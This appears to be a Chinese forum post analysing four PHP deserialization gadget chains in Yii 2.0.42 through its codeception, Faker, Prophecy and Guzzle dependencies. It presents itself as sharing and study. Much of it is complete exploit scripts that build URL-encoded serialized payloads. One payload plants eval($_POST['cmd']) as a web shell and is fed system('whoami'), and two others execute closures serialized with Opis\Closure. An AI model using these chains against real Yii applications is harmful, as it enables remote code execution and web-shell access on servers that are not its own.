yii 2.0.42 最新反序列化利用全集

漏洞挖掘

第一条链子

全局搜索 __destruct

其他利用都存在 __wakeup 方法,直接抛出异常导致无法利用。

会遍历 $this->processes

那么这里的 $process 就可控

全局搜索 __call方法

此处的 $this->generator 可控,那么我们就可以调用任意类的方法,但此处的 $name 是不可控的,所以此处仅仅可以再次触发 __call,但是!

注意do-while 语句 的判断条件,

有一次调用 call_user_func 函数,且第一个参数可控, 只要解决 $res 就OK了。结合上面,找其他的__call 方法

这里返回内容完全可控,也就意味着我们的 $res 也已经拿捏了。

可以RCE 了。还有注意的点是 $this->maxRetries 的值设小一点,执行个几次就行了。我看有人设了9999999,哈哈哈哈,当时我电脑疯狂弹计算器。

第二条链子

我将目标转向他,也就是我打断点的地方。

寻找可利用的 reveal方法

类中本身存在一个,

继续找 getInstance;

找到一个同前面属性名相同的类,

全都可控,看着非常舒服,继续找double

传入此处的 $class$interfaces参数 必须是一个 ReflectionClass 类的对象 和对象数组,后面构造的时候要注意。

看似下面有利用反射来实例化类,但并不能利用的。

我只能继续看向 createDoubleClass方法

看似 $name$node 不太可控,但是注意 第一条链子那个 返回值 可控的 __call 方法,继续将的 namer,mirror,patches 实例化为对象,就可以控制 $name$node 的值,以及绕过foreach,寻找可利用的 create 方法

正正好好?!

继续用那个 __call 然后 $code 也可控。

注意一下 这里 $class , 需要 Node\ClassNode 类的对象,也就是当前命名空间\Node\ClassNode

exp

<?php
namespace Codeception\Extension{
    use Prophecy\Prophecy\ObjectProphecy;
    class  RunProcess{

        private $processes = [];
        public function __construct(){
            $a = new ObjectProphecy('1');
            $this->processes[]=new ObjectProphecy($a);
        }
    }
    echo urlencode(serialize(new RunProcess()));
}
namespace Prophecy\Prophecy{
    use Prophecy\Doubler\LazyDouble;
class ObjectProphecy{

    private $lazyDouble;
    private $revealer;
    public function __construct($a){
        $this->revealer=$a;//一个调用自己的对象
        $this->lazyDouble=new lazyDouble();
    }
}   
}
namespace Prophecy\Doubler{
    use Prophecy\Doubler\Doubler;
    class LazyDouble
{
    private $doubler;
    private $class;
    private $interfaces;
    private $arguments;
    private $double=null;
    public function __construct(){
        $this->doubler = new Doubler();
        $this->arguments=array('jiang'=>'jiang');
        $this->class=new \ReflectionClass('Exception');
        $this->interfaces[]=new \ReflectionClass('Exception');
}
}
}
namespace Faker{
    class DefaultGenerator
{
    protected $default;

    public function __construct($default)
    {
        $this->default = $default;
    }
}
}

namespace Prophecy\Doubler\Generator\Node{
    class ClassNode{}
}
namespace Prophecy\Doubler{
    use Faker\DefaultGenerator;
    use Prophecy\Doubler\Generator\ClassCreator;
    use Prophecy\Doubler\Generator\Node\ClassNode;
    class Doubler{
        private $namer;
        private $mirror;
        private $patches;
        private $creator;
        public function __construct(){
            $name='jiang';
            $node=new ClassNode();
            $this->namer=new DefaultGenerator($name);
            $this->mirror=new DefaultGenerator($node);
            $this->patches=array(new DefaultGenerator(false));
            $this->creator=new ClassCreator();
        }
    }
}
namespace Prophecy\Doubler\Generator{
    use Faker\DefaultGenerator;
class ClassCreator{
    private $generator;
    public function __construct(){
        $this->generator=new DefaultGenerator('eval($_POST["cmd"]);');
    }
}
}

注意一下攻击的时候 cmd=system('whoami');phpinfo();

不加phpinfo()的话,前面的输出会被报错掩盖掉。

第三条链子

继续找__call

这里$res可以控制,那么我们就可以 通过序列化一个对象触发 __sleep 方法

注意这里 ($this-value)(),已经再明显不过了。

exp

<?php
namespace Codeception\Extension{
    use Faker\UniqueGenerator;
    class  RunProcess{

        private $processes = [];
        public function __construct(){

            $this->processes[]=new UniqueGenerator();
        }
    }
    echo urlencode(serialize(new RunProcess()));
}
namespace Faker{
    use Symfony\Component\String\LazyString;
    class UniqueGenerator
{
        protected $generator;
        protected $maxRetries;
        public function __construct()
    {
        $a = new LazyString();
        $this->generator = new DefaultGenerator($a);
        $this->maxRetries = 2;
    }
}
class DefaultGenerator
{
    protected $default;

    public function __construct($default = null)
    {
        $this->default = $default;
    }
}
}
namespace Symfony\Component\String{
    class LazyString{
        private $value;
        public function __construct(){
            include("closure/autoload.php");
            $a = function(){phpinfo();};
            $a = \Opis\Closure\serialize($a);
            $b = unserialize($a);
            $this->value=$b;
        }
    }
}

第四条链子

入口依然不变,

stopProcess 方法中存在

利用 返回值可控的__call 和 字符串连接符 . ,将目标转向__toString

在这里找到了可利用点,跟进 rewind

下面断点的地方又可以走向其他类中的 rewind 方法,

在这里可以看到很相似的调用。

跟进 read 方法

又要跳向其他类的 read 方法。


在这里找到了利用的地方,中间参数和变量的控制根据exp自行分析。

exp

<?php
namespace Codeception\Extension{
    use Faker\DefaultGenerator;
    use GuzzleHttp\Psr7\AppendStream;
    class  RunProcess{
        protected $output;
        private $processes = [];
        public function __construct(){
            $this->processes[]=new DefaultGenerator(new AppendStream());
            $this->output=new DefaultGenerator('jiang');
        }
    }
    echo urlencode(serialize(new RunProcess()));
}

namespace Faker{
    class DefaultGenerator
{
    protected $default;

    public function __construct($default = null)
    {
        $this->default = $default;
}
}
}
namespace GuzzleHttp\Psr7{
    use Faker\DefaultGenerator;
    final class AppendStream{
        private $streams = [];
        private $seekable = true;
        public function __construct(){
            $this->streams[]=new CachingStream();
        }
    }
    final class CachingStream{
        private $remoteStream;
        public function __construct(){
            $this->remoteStream=new DefaultGenerator(false);
            $this->stream=new  PumpStream();
        }
    }
    final class PumpStream{
        private $source;
        private $size=-10;
        private $buffer;
        public function __construct(){
            $this->buffer=new DefaultGenerator('j');
            include("closure/autoload.php");
            $a = function(){phpinfo();};
            $a = \Opis\Closure\serialize($a);
            $b = unserialize($a);
            $this->source=$b;
        }
    }
}

写在后面

其实此漏洞并不是yii的问题,此处仅做分享和学习,标题略有不恰,请见谅。因为yii的项目使用了codeception/codeception依赖,存在可利用的__destruct魔术方法,归根结底,是依赖的问题。

点击收藏 | 4 关注 | 1
登录 后跟帖